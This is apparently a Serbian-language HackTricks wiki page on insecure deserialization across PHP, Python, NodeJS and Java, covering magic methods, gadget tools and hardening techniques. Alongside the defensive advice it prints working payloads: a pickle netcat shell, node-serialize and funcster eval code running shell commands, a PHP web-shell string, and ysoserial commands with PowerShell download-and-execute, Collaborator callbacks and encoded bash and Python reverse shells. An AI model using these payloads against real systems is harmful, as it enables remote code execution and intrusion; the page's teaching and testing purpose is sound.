63 KiB
Raw Blame History

Deserialization

{{#include ../../banners/hacktricks-training.md}}

Osnovne informacije

Serialization se smatra metodom konvertovanja objekta u format koji se može sačuvati, sa namerom da se objekat ili skladišti ili prenese kao deo komunikacionog procesa. Ova tehnika se često koristi kako bi se obezbedilo da objekat može biti ponovo rekonstruisan kasnije, zadržavajući njegovu strukturu i stanje.

Deserialization, suprotno, je proces koji poništava Serialization. Obuhvata uzimanje podataka koji su strukturirani u određenom formatu i njihovu rekonstrukciju nazad u objekat.

Deserialization može biti opasna jer potencijalno omogućava napadačima da manipulišu serijalizovanim podacima kako bi izvršili štetan kod ili prouzrokovali neočekivano ponašanje aplikacije tokom procesa rekonstrukcije objekta.

PHP

U PHP-u se tokom procesa serializacije i deserializacije koriste specifične magic methods:

  • __sleep: Poziva se kada se objekat serializuje. Ova metoda treba da vrati niz imena svih svojstava objekta koja treba da budu serializovana. Obično se koristi za upis čekajućih podataka ili izvođenje sličnih poslova čišćenja.
  • __wakeup: Poziva se kada se objekat deserijalizuje. Koristi se za ponovnu uspostavu eventualno izgubljenih konekcija ka bazi podataka tokom serializacije i za druge zadatke re-inicijalizacije.
  • __unserialize: Ova metoda se poziva umesto __wakeup (ako postoji) kada se objekat deserijalizuje. Omogućava veću kontrolu nad procesom deserializacije u poređenju sa __wakeup.
  • __destruct: Ova metoda se poziva kada je objekat pred uništenjem ili kada se skript završava. Tipično se koristi za zadatke čišćenja, kao što su zatvaranje fajl deskriptora ili konekcija ka bazi podataka.
  • __toString: Ova metoda omogućava da se objekat tretira kao string. Može se koristiti za čitanje fajla ili druge zadatke zasnovane na pozivima funkcija unutar nje, efektivno obezbeđujući tekstualnu reprezentaciju objekta.
<?php
class test {
public $s = "This is a test";
public function displaystring(){
echo $this->s.'<br />';
}
public function __toString()
{
echo '__toString method called';
}
public function __construct(){
echo "__construct method called";
}
public function __destruct(){
echo "__destruct method called";
}
public function __wakeup(){
echo "__wakeup method called";
}
public function __sleep(){
echo "__sleep method called";
return array("s"); #The "s" makes references to the public attribute
}
}

$o = new test();
$o->displaystring();
$ser=serialize($o);
echo $ser;
$unser=unserialize($ser);
$unser->displaystring();

/*
php > $o = new test();
__construct method called
__destruct method called
php > $o->displaystring();
This is a test<br />

php > $ser=serialize($o);
__sleep method called

php > echo $ser;
O:4:"test":1:{s:1:"s";s:14:"This is a test";}

php > $unser=unserialize($ser);
__wakeup method called
__destruct method called

php > $unser->displaystring();
This is a test<br />
*/
?>

Ako pogledate rezultate, možete videti da se funkcije __wakeup i __destruct pozivaju kada se objekat deserializuje. Primetite da ćete u nekoliko tutorijala naći da se funkcija __toString poziva kada se pokušava ispisati neki atribut, ali izgleda da se to više ne dešava.

Warning

Metod __unserialize(array $data) se poziva umesto __wakeup() ako je implementiran u klasi. Omogućava vam da deserializujete objekat tako što ćete proslediti serijalizovane podatke kao niz. Možete koristiti ovaj metod da deserializujete svojstva i izvršite sve potrebne radnje prilikom deserializacije.

class MyClass {
   private $property;

   public function __unserialize(array $data): void {
       $this->property = $data['property'];
       // Perform any necessary tasks upon deserialization.
   }
}

Možete pročitati objašnjen PHP primer ovde: https://www.notsosecure.com/remote-code-execution-via-php-unserialize/, ovde https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf ili ovde https://securitycafe.ro/2015/01/05/understanding-php-object-injection/

PHP Deserial + Autoload Classes

Možete zloupotrebiti PHP autoload funkcionalnost da učitate proizvoljne php fajlove i još mnogo toga:

{{#ref}} php-deserialization-+-autoload-classes.md {{#endref}}

Serializing Referenced Values

Ako iz nekog razloga želite da serijalizujete vrednost kao referencu na drugu serijalizovanu vrednost, možete:

<?php
class AClass {
public $param1;
public $param2;
}

$o = new WeirdGreeting;
$o->param1 =& $o->param22;
$o->param = "PARAM";
$ser=serialize($o);

Sprečavanje PHP Object Injection pomoću allowed_classes

[!INFO] Podrška za drugi argument funkcije unserialize() (niz $options) uvedena je u PHP 7.0. Na starijim verzijama funkcija prihvata samo serijalizovani string, što onemogućava ograničavanje koje klase mogu biti instancirane.

unserialize() će instancirati svaku klasu koju pronađe u serijalizovanom streamu, osim ako nije drugačije naznačeno. Od PHP 7 ponašanje se može ograničiti opcijom allowed_classes:

// NEVER DO THIS  full object instantiation
$object = unserialize($userControlledData);

// SAFER  disable object instantiation completely
$object = unserialize($userControlledData, [
'allowed_classes' => false    // no classes may be created
]);

// Granular  only allow a strict white-list of models
$object = unserialize($userControlledData, [
'allowed_classes' => [MyModel::class, DateTime::class]
]);

Ako je allowed_classes izostavljen ili kod radi na PHP < 7.0, poziv postaje opasan jer napadač može da konstruše payload koji zloupotrebljava magične metode kao što su __wakeup() ili __destruct() kako bi ostvario Remote Code Execution (RCE).

Primer iz stvarnog sveta: Everest Forms (WordPress) CVE-2025-52709

WordPress dodatak Everest Forms ≤ 3.2.2 je pokušao da bude defanzivan koristeći pomoćni wrapper, ali je zaboravio na zastarele PHP verzije:

function evf_maybe_unserialize($data, $options = array()) {
if (is_serialized($data)) {
if (version_compare(PHP_VERSION, '7.1.0', '>=')) {
// SAFE branch (PHP ≥ 7.1)
$options = wp_parse_args($options, array('allowed_classes' => false));
return @unserialize(trim($data), $options);
}
// DANGEROUS branch (PHP < 7.1)
return @unserialize(trim($data));
}
return $data;
}

Na serverima koji su i dalje koristili PHP ≤ 7.0, ova druga grana dovodila je do klasičnog PHP Object Injection kada bi administrator otvorio zlonamerni form submission. Minimalni exploit payload mogao bi izgledati ovako:

O:8:"SomeClass":1:{s:8:"property";s:28:"<?php system($_GET['cmd']); ?>";}

Čim je admin pogledao unos, objekat je instanciran i SomeClass::__destruct() je izvršen, što je rezultiralo izvršavanjem proizvoljnog koda.

Zaključci

  1. Uvek prosleđujte ['allowed_classes' => false] (ili strogu white-list) kada pozivate unserialize().
  2. Auditirajte defensive wrappers često zaboravljaju nasleđene PHP grane.
  3. Nadogradnja na PHP ≥ 7.x sama po sebi nije dovoljna: opcija i dalje mora biti eksplicitno navedena.

PHPGGC (ysoserial for PHP)

PHPGGC može vam pomoći pri generisanju payloads-a za zloupotrebu PHP deserializations.
Imajte na umu da u nekoliko slučajeva nećete moći pronaći način da zloupotrebite deserialization u izvornom kodu aplikacije, ali možete zloupotrebiti kod eksternih PHP extensions.
Dakle, ako možete, proverite phpinfo() servera i pretražite internet (pa čak i gadgets od PHPGGC) za moguće gadgete koje biste mogli zloupotrebiti.

phar:// metadata deserialization

Ako ste pronašli LFI koji samo čita fajl i ne izvršava php kod u njegovom unutrašnjosti, na primer koristeći funkcije kao što su file_get_contents(), fopen(), file() or file_exists(), md5_file(), filemtime() or filesize(). Možete pokušati zloupotrebiti deserialization koji se dešava pri čitanju fajla koristeći phar protokol.
Za više informacija pročitajte sledeći post:

{{#ref}} ../file-inclusion/phar-deserialization.md {{#endref}}

Python

Pickle

Kada se objekat unpickle-uje, funkcija ___reduce___ će biti izvršena.
Ako se iskoristi, server može vratiti grešku.

import pickle, os, base64
class P(object):
def __reduce__(self):
return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
print(base64.b64encode(pickle.dumps(P())))

Pre nego što proverite bypass tehniku, pokušajte da koristite print(base64.b64encode(pickle.dumps(P(),2))) da generišete objekat koji je kompatibilan sa python2 ako koristite python3.

Za više informacija o bekstvu iz pickle jails pogledajte:

{{#ref}} ../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ {{#endref}}

Yaml & jsonpickle

Sledeća stranica prikazuje tehniku za abuse an unsafe deserialization in yamls Python biblioteka i završava sa alatom koji može da generiše RCE deserialization payload za Pickle, PyYAML, jsonpickle i ruamel.yaml:

{{#ref}} python-yaml-deserialization.md {{#endref}}

Class Pollution (Python Prototype Pollution)

{{#ref}} ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md {{#endref}}

NodeJS

JS Magic Functions

JS nema "magic" functions kao PHP ili Python koje će se izvršiti samo prilikom kreiranja objekta. Međutim, ima neke funkcije koje se često koriste čak i bez direktnog poziva kao što su toString, valueOf, toJSON.
Ako pri iskorišćavanju deserializationa možete kompromitovati ove funkcije da izvrše drugi kod (potencijalno iskorišćavajući prototype pollutions), mogli biste izvršiti arbitraran kod kada se pozovu.

Drugi "magic" način da se pozove funkcija bez direktnog poziva je kompromitovanjem objekta koji je vraćen iz async funkcije (promise). Jer, ako transformišete taj return object u drugi promise sa property koji se zove "then" of type function, on će biti executed samo zato što je vraćen iz drugog promise-a. Pratite this link za više informacija.

// If you can compromise p (returned object) to be a promise
// it will be executed just because it's the return object of an async function:
async function test_resolve() {
const p = new Promise((resolve) => {
console.log("hello")
resolve()
})
return p
}

async function test_then() {
const p = new Promise((then) => {
console.log("hello")
return 1
})
return p
}

test_ressolve()
test_then()
//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/

__proto__ and prototype pollution

Ako želite da saznate više o ovoj tehnici, pogledajte sledeći tutorijal:

{{#ref}} nodejs-proto-prototype-pollution/ {{#endref}}

node-serialize

Ova biblioteka omogućava serijalizaciju funkcija. Primer:

var y = {
rce: function () {
require("child_process").exec("ls /", function (error, stdout, stderr) {
console.log(stdout)
})
},
}
var serialize = require("node-serialize")
var payload_serialized = serialize.serialize(y)
console.log("Serialized: \n" + payload_serialized)

Serijalizovani objekat će izgledati ovako:

{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}

You can see in the example that when a function is serialized the _$$ND_FUNC$$_ flag is appended to the serialized object.

Inside the file node-serialize/lib/serialize.js you can find the same flag and how the code is using it.

Kao što možete videti u poslednjem delu koda, ako je flag pronađen koristi se eval za deserijalizaciju funkcije, tako da praktično unos korisnika se koristi unutar eval funkcije.

Međutim, samo serijalizovanje funkcije je neće izvršiti, jer bi bilo neophodno da neki deo koda poziva y.rce u našem primeru, što je veoma neverovatno.
U svakom slučaju, možete jednostavno izmeniti serijalizovani objekat dodavanjem zagrada tako da se serijalizovana funkcija automatski izvrši kada se objekat deserijalizuje.
U sledećem delu koda obratite pažnju na poslednju zagradu i kako funkcija unserialize automatski izvršava kod:

var serialize = require("node-serialize")
var test = {
rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()",
}
serialize.unserialize(test)

Kao što je ranije navedeno, ova biblioteka preuzima kod koji se nalazi nakon _$$ND_FUNC$$_ i izvršava ga koristeći eval. Dakle, da biste automatski izvršili kod, možete ukloniti deo koji kreira funkciju i poslednju zagradu i samo izvršiti JS oneliner kao u sledećem primeru:

var serialize = require("node-serialize")
var test =
"{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}"
serialize.unserialize(test)

Možete find here further information o tome kako iskoristiti ovu ranjivost.

funcster

Značajan aspekt funcster je nedostupnost standardnih ugrađenih objekata; oni su izvan dostupnog opsega. Ovo ograničenje sprečava izvršavanje koda koji pokušava da pozove metode na ugrađenim objektima, što dovodi do izuzetaka kao što je "ReferenceError: console is not defined" kada se koriste komande poput console.log() ili require(something).

Uprkos ovom ograničenju, moguće je vratiti pun pristup globalnom kontekstu, uključujući sve standardne ugrađene objekte, pomoću specifičnog pristupa. Direktnim iskorišćavanjem globalnog konteksta može se zaobići ovo ograničenje. Na primer, pristup se može ponovo uspostaviti koristeći sledeći snippet:

funcster = require("funcster")
//Serialization
var test = funcster.serialize(function () {
return "Hello world!"
})
console.log(test) // { __js_function: 'function(){return"Hello world!"}' }

//Deserialization with auto-execution
var desertest1 = { __js_function: 'function(){return "Hello world!"}()' }
funcster.deepDeserialize(desertest1)
var desertest2 = {
__js_function: 'this.constructor.constructor("console.log(1111)")()',
}
funcster.deepDeserialize(desertest2)
var desertest3 = {
__js_function:
"this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()",
}
funcster.deepDeserialize(desertest3)

Za više informacija pročitajte ovaj izvor.

serialize-javascript

Paket serialize-javascript je dizajniran isključivo za serialization, i nema ugrađene deserialization mogućnosti. Korisnici su odgovorni za implementaciju sopstvene metode za deserialization. Zvanični primer za deserializaciju serialized data predlaže direktnu upotrebu eval:

function deserialize(serializedJavascript) {
return eval("(" + serializedJavascript + ")")
}

Ako se ova funkcija koristi za deserialize objekata, možete je lako iskoristiti:

var serialize = require("serialize-javascript")
//Serialization
var test = serialize(function () {
return "Hello world!"
})
console.log(test) //function() { return "Hello world!" }

//Deserialization
var test =
"function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()"
deserialize(test)

For more information read this source.

Cryo biblioteka

Na sledećim stranicama možete naći informacije kako zloupotrebiti ovu biblioteku za izvršavanje proizvoljnih komandi:

Java - HTTP

U Javi, deserialization callbacks se izvršavaju tokom procesa deserialization. Napadači koji kreiraju maliciozne payload-e koji okidaju ove callbacks mogu iskoristiti ovo izvršavanje za pokretanje štetnih radnji.

Otisci

White Box

Da biste identifikovali potencijalne serialization ranjivosti u kodu, pretražite:

  • Classes that implement the Serializable interface.
  • Usage of java.io.ObjectInputStream, readObject, readUnshare functions.

Obratite posebnu pažnju na:

  • XMLDecoder utilized with parameters defined by external users.
  • XStream's fromXML method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues.
  • ObjectInputStream coupled with the readObject method.
  • Implementation of methods such as readObject, readObjectNodData, readResolve, or readExternal.
  • ObjectInputStream.readUnshared.
  • General use of Serializable.

Black Box

Za black box testiranje, obratite pažnju na specifične signatures ili "Magic Bytes" koji ukazuju na java serialized objekte (potekle iz ObjectInputStream):

  • Hexadecimal pattern: AC ED 00 05.
  • Base64 pattern: rO0.
  • HTTP response headers with Content-type set to application/x-java-serialized-object.
  • Hexadecimal pattern indicating prior compression: 1F 8B 08 00.
  • Base64 pattern indicating prior compression: H4sIA.
  • Web files with the .faces extension and the faces.ViewState parameter. Discovering these patterns in a web application should prompt an examination as detailed in the post about Java JSF ViewState Deserialization.
javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s

Check if vulnerable

Ako želite da learn about how does a Java Deserialized exploit work trebalo bi da pogledate Basic Java Deserialization, Java DNS Deserialization, i CommonsCollection1 Payload.

SignedObject-gated deserialization and pre-auth reachability

U modernim codebase-ovima se ponekad deserialization umotava u java.security.SignedObject i verifikuje se signature pre poziva getObject() (koji deserializuje unutrašnji objekat). Ovo sprečava proizvoljne top-level gadget classes, ali i dalje može biti exploitable ako napadač može da pribavi validan signature (npr. kompromitovanje private-key ili signing oracle). Dodatno, tokovi za rukovanje greškama mogu kreirati session-bound tokens za neautentifikovane korisnike, izlažući inače zaštićene sinks pre-auth.

For a concrete case study with requests, IoCs, and hardening guidance, see:

{{#ref}} java-signedobject-gated-deserialization.md {{#endref}}

White Box Test

Možete proveriti da li je instalirana neka aplikacija sa poznatim ranjivostima.

find . -iname "*commons*collection*"
grep -R InvokeTransformer .

Možete pokušati da proverite sve biblioteke koje su poznate kao ranjive i za koje Ysoserial može da obezbedi exploit. Ili možete proveriti biblioteke navedene na Java-Deserialization-Cheat-Sheet.
Takođe možete koristiti gadgetinspector da pretražite moguće gadget chains koji se mogu iskoristiti.
Kada pokrećete gadgetinspector (nakon što ga izgradite) nemojte obraćati pažnju na gomilu upozorenja/grešaka kroz koje prolazi i pustite da završi. On će zapisati sva otkrića pod gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt. Imajte na umu da gadgetinspector neće napraviti exploit i može ukazati na false positives.

Test crne kutije

Korišćenjem Burp ekstenzije gadgetprobe možete identifikovati koje biblioteke su dostupne (pa čak i njihove verzije). Sa tim informacijama može biti lakše izabrati payload za eksploatisanje ranjivosti.
Read this to learn more about GadgetProbe.
GadgetProbe je fokusiran na ObjectInputStream deserializacije.

Korišćenjem Burp ekstenzije Java Deserialization Scanner možete identifikovati ranjive biblioteke koje se mogu iskoristiti sa ysoserial i eksploatisati ih.
Read this to learn more about Java Deserialization Scanner.
Java Deserialization Scanner je fokusiran na ObjectInputStream deserializacije.

Možete takođe koristiti Freddy da otkrijete deserializacione ranjivosti u Burp. Ovaj plugin će detektovati ne samo ObjectInputStream povezane ranjivosti već takođe i ranjivosti iz Json i Yml biblioteka za deserializaciju. U aktivnom režimu, pokušaće da ih potvrdi koristeći sleep ili DNS payload-e.
You can find more information about Freddy here.

Serialization Test

Nije sve samo u proveri da li server koristi neku ranjivu biblioteku. Ponekad možete biti u mogućnosti da promenite podatke unutar serializovanog objekta i zaobiđete neke provere (možda vam dodeli admin privilegije u web aplikaciji).
Ako pronađete java serializovan objekat koji se šalje web aplikaciji, možete koristiti SerializationDumper da ispišete serializovani objekat u čitljivijem formatu. Znajući koje podatke šaljete biće vam lakše da ih modifikujete i zaobiđete neke provere.

Exploit

ysoserial

Glavni alat za eksploatisanje Java deserializacija je ysoserial (download here). Možete takođe razmotriti korišćenje ysoseral-modified koji će vam omogućiti da koristite kompleksne komande (na primer sa pipes).
Imajte u vidu da je ovaj alat fokusiran na eksploatisanje ObjectInputStream.
Preporučio bih da počnete sa "URLDNS" payload-om pre RCE payload-a da testirate da li je injekcija moguća. U svakom slučaju, imajte na umu da "URLDNS" payload možda neće raditi dok neki drugi RCE payload hoće.

# PoC to make the application perform a DNS req
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload

# PoC RCE in Windows
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'cmd /c ping -n 5 127.0.0.1' > payload
# Time, I noticed the response too longer when this was used
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c timeout 5" > payload
# Create File
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c echo pwned> C:\\\\Users\\\\username\\\\pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c nslookup jvikwa34jwgftvoxdz16jhpufllb90.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "cmd /c certutil -urlcache -split -f http://j4ops7g6mi9w30verckjrk26txzqnf.burpcollaborator.net/a a"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAYwBlADcAMABwAG8AbwB1ADAAaABlAGIAaQAzAHcAegB1AHMAMQB6ADIAYQBvADEAZgA3ADkAdgB5AC4AYgB1AHIAcABjAG8AbABsAGEAYgBvAHIAYQB0AG8AcgAuAG4AZQB0AC8AYQAnACkA"
## In the ast http request was encoded: IEX(New-Object Net.WebClient).downloadString('http://1ce70poou0hebi3wzus1z2ao1f79vy.burpcollaborator.net/a')
## To encode something in Base64 for Windows PS from linux you can use: echo -n "<PAYLOAD>" | iconv --to-code UTF-16LE | base64 -w0
# Reverse Shell
## Encoded: IEX(New-Object Net.WebClient).downloadString('http://192.168.1.4:8989/powercat.ps1')
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4ANAA6ADgAOQA4ADkALwBwAG8AdwBlAHIAYwBhAHQALgBwAHMAMQAnACkA"

#PoC RCE in Linux
# Ping
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "ping -c 5 192.168.1.4" > payload
# Time
## Using time in bash I didn't notice any difference in the timing of the response
# Create file
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "touch /tmp/pwn" > payload
# DNS request
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "dig ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "nslookup ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# HTTP request (+DNS)
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "curl ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net" > payload
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "wget ftcwoztjxibkocen6mkck0ehs8yymn.burpcollaborator.net"
# Reverse shell
## Encoded: bash -i >& /dev/tcp/127.0.0.1/4444 0>&1
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" | base64 -w0
## Encoded: export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb3J0IFJIT1NUPSIxMjcuMC4wLjEiO2V4cG9ydCBSUE9SVD0xMjM0NTtweXRob24gLWMgJ2ltcG9ydCBzeXMsc29ja2V0LG9zLHB0eTtzPXNvY2tldC5zb2NrZXQoKTtzLmNvbm5lY3QoKG9zLmdldGVudigiUkhPU1QiKSxpbnQob3MuZ2V0ZW52KCJSUE9SVCIpKSkpO1tvcy5kdXAyKHMuZmlsZW5vKCksZmQpIGZvciBmZCBpbiAoMCwxLDIpXTtwdHkuc3Bhd24oIi9iaW4vc2giKSc=}|{base64,-d}|{bash,-i}"

# Base64 encode payload in base64
base64 -w0 payload

Kada kreirate payload za java.lang.Runtime.exec() ne možete koristiti specijalne karaktere kao što su ">" ili "|" za preusmeravanje izlaza izvršenja, "$()" za izvršavanje komandi ili čak prosleđivati argumente komandi razdvojene razmacima (možete uraditi echo -n "hello world" ali ne možete uraditi python2 -c 'print "Hello World"'). Da biste ispravno enkodovali payload možete use this webpage.

Slobodno koristite sledeći skript da kreirate all the possible code execution payload-e za Windows i Linux i zatim ih testirate na ranjivoj web stranici:

import os
import base64

# You may need to update the payloads
payloads = ['BeanShell1', 'Clojure', 'CommonsBeanutils1', 'CommonsCollections1', 'CommonsCollections2', 'CommonsCollections3', 'CommonsCollections4', 'CommonsCollections5', 'CommonsCollections6', 'CommonsCollections7', 'Groovy1', 'Hibernate1', 'Hibernate2', 'JBossInterceptors1', 'JRMPClient', 'JSON1', 'JavassistWeld1', 'Jdk7u21', 'MozillaRhino1', 'MozillaRhino2', 'Myfaces1', 'Myfaces2', 'ROME', 'Spring1', 'Spring2', 'Vaadin1', 'Wicket1']
def generate(name, cmd):
for payload in payloads:
final = cmd.replace('REPLACE', payload)
print 'Generating ' + payload + ' for ' + name + '...'
command = os.popen('java -jar ysoserial.jar ' + payload + ' "' + final + '"')
result = command.read()
command.close()
encoded = base64.b64encode(result)
if encoded != "":
open(name + '_intruder.txt', 'a').write(encoded + '\n')

generate('Windows', 'ping -n 1 win.REPLACE.server.local')
generate('Linux', 'ping -c 1 nix.REPLACE.server.local')

serialkillerbypassgadgets

Možete koristiti https://github.com/pwntester/SerialKillerBypassGadgetCollection zajedno sa ysoserial za kreiranje više exploits. Više informacija o ovom alatu u slajdovima predavanja gde je alat predstavljen: https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1

marshalsec

marshalsec može da se koristi za generisanje payloads za iskorišćavanje različitih Json i Yml serialization biblioteka u Java.\ Da bih kompajlirao projekat morao sam da dodam ove dependencies u pom.xml:

<dependency>
<groupId>javax.activation</groupId>
<artifactId>activation</artifactId>
<version>1.1.1</version>
</dependency>

<dependency>
<groupId>com.sun.jndi</groupId>
<artifactId>rmiregistry</artifactId>
<version>1.2.1</version>
<type>pom</type>
</dependency>

Instalirajte maven, i kompajlirajte projekat:

sudo apt-get install maven
mvn clean package -DskipTests

FastJSON

Pročitajte više o ovoj Java JSON biblioteci: https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html

Laboratorije

Zašto

Java koristi mnogo serijalizacije za različite namene, kao što su:

  • HTTP requests: Serijalizacija se široko koristi u upravljanju parametrima, ViewState-om, cookies-ima itd.
  • RMI (Remote Method Invocation): Java RMI protokol, koji se u potpunosti oslanja na serijalizaciju, predstavlja kamen temeljac za daljinsku komunikaciju u Java aplikacijama.
  • RMI over HTTP: Ovaj metod često koriste Java-based thick client web aplikacije, koje koriste serijalizaciju za svu komunikaciju objekata.
  • JMX (Java Management Extensions): JMX koristi serijalizaciju za prenos objekata preko mreže.
  • Custom Protocols: U Javi je uobičajena praksa prenošenje sirovih Java objekata, što će biti demonstrirano u narednim primerima exploit-a.

Prevencija

Transient objects

A class that implements Serializable can implement as transient any object inside the class that shouldn't be serializable. For example:

public class myAccount implements Serializable
{
private transient double profit; // declared transient
private transient double margin; // declared transient

Izbegavanje serializacije klase koja mora da implementira Serializable

U scenarijima gde određeni objekti moraju da implementiraju Serializable interfejs zbog hijerarhije klasa, postoji rizik od nenamerne deserializacije. Da biste to sprečili, obezbedite da ovi objekti budu ne-deserializabilni definišući final readObject() metodu koja dosledno baca izuzetak, kao što je prikazano ispod:

private final void readObject(ObjectInputStream in) throws java.io.IOException {
throw new java.io.IOException("Cannot be deserialized");
}

Poboljšanje sigurnosti deserializacije u Java

Prilagođavanje java.io.ObjectInputStream je praktičan pristup za osiguravanje procesa deserializacije. Ovaj pristup je pogodan kada:

  • Kod za deserializaciju je pod vašom kontrolom.
  • Klase koje se očekuju za deserializaciju su poznate.

Nadjačajte metod resolveClass() da biste ograničili deserializaciju samo na dozvoljene klase. Ovo sprečava deserializaciju bilo koje klase osim onih eksplicitno dozvoljenih, kao u sledećem primeru koji ograničava deserializaciju samo na klasu Bicycle:

// Code from https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
public class LookAheadObjectInputStream extends ObjectInputStream {

public LookAheadObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

/**
* Only deserialize instances of our expected Bicycle class
*/
@Override
protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (!desc.getName().equals(Bicycle.class.getName())) {
throw new InvalidClassException("Unauthorized deserialization attempt", desc.getName());
}
return super.resolveClass(desc);
}
}

Korišćenje Java Agent-a za poboljšanje bezbednosti nudi rezervno rešenje kada izmena koda nije moguća. Ova metoda se primenjuje uglavnom za blacklisting harmful classes, koristeći JVM parametar:

-javaagent:name-of-agent.jar

Ovo pruža način da se deserializacija zaštiti dinamički, idealno za okruženja gde je trenutna izmena koda nepraktična.

Pogledajte primer u rO0 by Contrast Security

Implementacija filtera serijalizacije: Java 9 je uveo filtere serijalizacije preko interfejsa ObjectInputFilter, pružajući moćan mehanizam za navođenje kriterijuma koje serijalizovani objekti moraju ispuniti pre nego što budu deserializovani. Ovi filteri mogu biti primenjeni globalno ili po tokovima, nudeći granularnu kontrolu nad procesom deserializacije.

Da biste iskoristili filtere serijalizacije, možete postaviti globalni filter koji važi za sve operacije deserializacije ili ga dinamički konfigurisati za određene tokove. Na primer:

ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Korišćenje eksternih biblioteka za poboljšanu bezbednost: Biblioteke kao što su NotSoSerial, jdeserialize i Kryo nude napredne mogućnosti za kontrolu i nadzor Java deserializacije. Ove biblioteke mogu obezbediti dodatne slojeve zaštite, kao što su dopuštanje ili blokiranje klasa, analiza serijalizovanih objekata pre deserializacije i implementacija prilagođenih strategija serijalizacije.

  • NotSoSerial presreće procese deserializacije kako bi sprečio izvršavanje nepouzdanog koda.
  • jdeserialize omogućava analizu serijalizovanih Java objekata bez njihove deserializacije, pomažući u identifikaciji potencijalno malicioznog sadržaja.
  • Kryo je alternativni framework za serijalizaciju koji naglašava brzinu i efikasnost, nudeći konfigurisane strategije serijalizacije koje mogu poboljšati bezbednost.

References

JNDI Injection & log4Shell

Pronađite šta je JNDI Injection, kako ga zloupotrebiti preko RMI, CORBA & LDAP i kako iskoristiti log4shell (i primer ove ranjivosti) na sledećoj stranici:

{{#ref}} jndi-java-naming-and-directory-interface-and-log4shell.md {{#endref}}

JMS - Java Message Service

Java Message Service (JMS) API je Java API orijentisan na poruke (message-oriented middleware) za slanje poruka između dva ili više klijenata. To je implementacija za rešavanje problema proizvođačpotrošač. JMS je deo Java Platform, Enterprise Edition (Java EE), i definisan je specifikacijom razvijenom u Sun Microsystems, a od tada ga vodi Java Community Process. To je standard poruka koji omogućava komponentama aplikacija zasnovanim na Java EE da kreiraju, šalju, primaju i čitaju poruke. Omogućava da komunikacija između različitih komponenti distribuirane aplikacije bude slabo povezana (loosely coupled), pouzdana i asinhrona. (Iz Wikipedia).

Products

Postoji nekoliko proizvoda koji koriste ovaj middleware za slanje poruka:

